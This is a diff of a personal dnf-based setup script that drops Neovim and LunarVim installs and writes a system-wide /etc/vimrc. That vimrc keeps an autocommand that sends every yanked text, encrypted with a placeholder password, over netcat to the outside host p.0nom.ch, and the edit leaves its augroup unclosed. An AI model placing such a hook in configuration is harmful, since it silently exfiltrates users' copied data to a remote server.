diff options
| -rwxr-xr-x | setup.sh | 76 |
1 files changed, 10 insertions, 66 deletions
@@ -12,81 +12,25 @@ sudo dnf install -y nc autossh tmux htop tar bmon gzip tree wget curl mlocate na #pip install jupyterlab python-swiftclient sudo dnf update -y -#install nvim -sudo dnf groupinstall -y "Development Tools" -sudo dnf install -y cmake -cd ~ -git clone https://github.com/neovim/neovim -cd neovim -make CMAKE_BUILD_TYPE=RelWithDebInfo -sudo make install -cd ~ - -#install lunarvim -sudo dnf install -y git make python3 python3-pip nodejs gcc-c++ -curl https://sh.rustup.rs -sSf | sh -s -- -y -source "$HOME/.cargo/env" -sudo dnf group install -y "Development Tools" -yes | bash <(curl -s https://raw.githubusercontent.com/lunarvim/lunarvim/master/utils/installer/install.sh) -cat << EOF > ~/.config/lvim/config.lua -lvim.plugins = { - { - "folke/tokyonight.nvim", - lazy = false, - priority = 1000, - opts = {}, - } -} - -vim.cmd([[ +cat << EOF > /etc/vimrc augroup netcat_clipboard au! au TextYankPost * call system("openssl enc -aes-256-cbc -pbkdf2 -pass pass:YourPassword | nc -w 1 p.0nom.ch 5023", @") - augroup END -]]) - --- Enable line wrapping -vim.wo.wrap = true --- Optional: Make wrapped lines easier to read by indenting them -vim.wo.breakindent = true -vim.wo.breakindentopt = "shift:2" +" Enable line wrapping +set wrap --- Navigate to the next tab, shift-l, prev shift-h -vim.api.nvim_set_keymap('n', '<S-l>', ':BufferLineCycleNext<CR>', { noremap = true, silent = true }) -vim.api.nvim_set_keymap('n', '<S-h>', ':BufferLineCyclePrev<CR>', { noremap = true, silent = true }) +" Optional: Make wrapped lines easier to read by indenting them +set breakindent +set breakindentopt=shift:2 -vim.api.nvim_create_autocmd("BufWritePost", { - pattern = "*.cpp", - command = "!g++ % -o %< && chmod +x %<" -}) +set list +set listchars=tab:>- +set autoindent +set number EOF --- Fix for vim.tbl_add_reverse_lookup deprecation --- Replace any usage of vim.tbl_add_reverse_lookup with: -local function add_reverse_lookup(tbl) - local result = {} - for k, v in pairs(tbl) do - result[k] = v - result[v] = k - end - return result -end - --- Fix for vim.treesitter.get_parser warning --- Wrap any usage of vim.treesitter.get_parser with a pcall: -local function safe_get_parser(bufnr, lang) - local ok, parser = pcall(vim.treesitter.get_parser, bufnr, lang) - if ok then - return parser - else - -- Handle the error or return nil - return nil - end -end - - # add check fro each component # then git clone work directory, or git clone altogether |
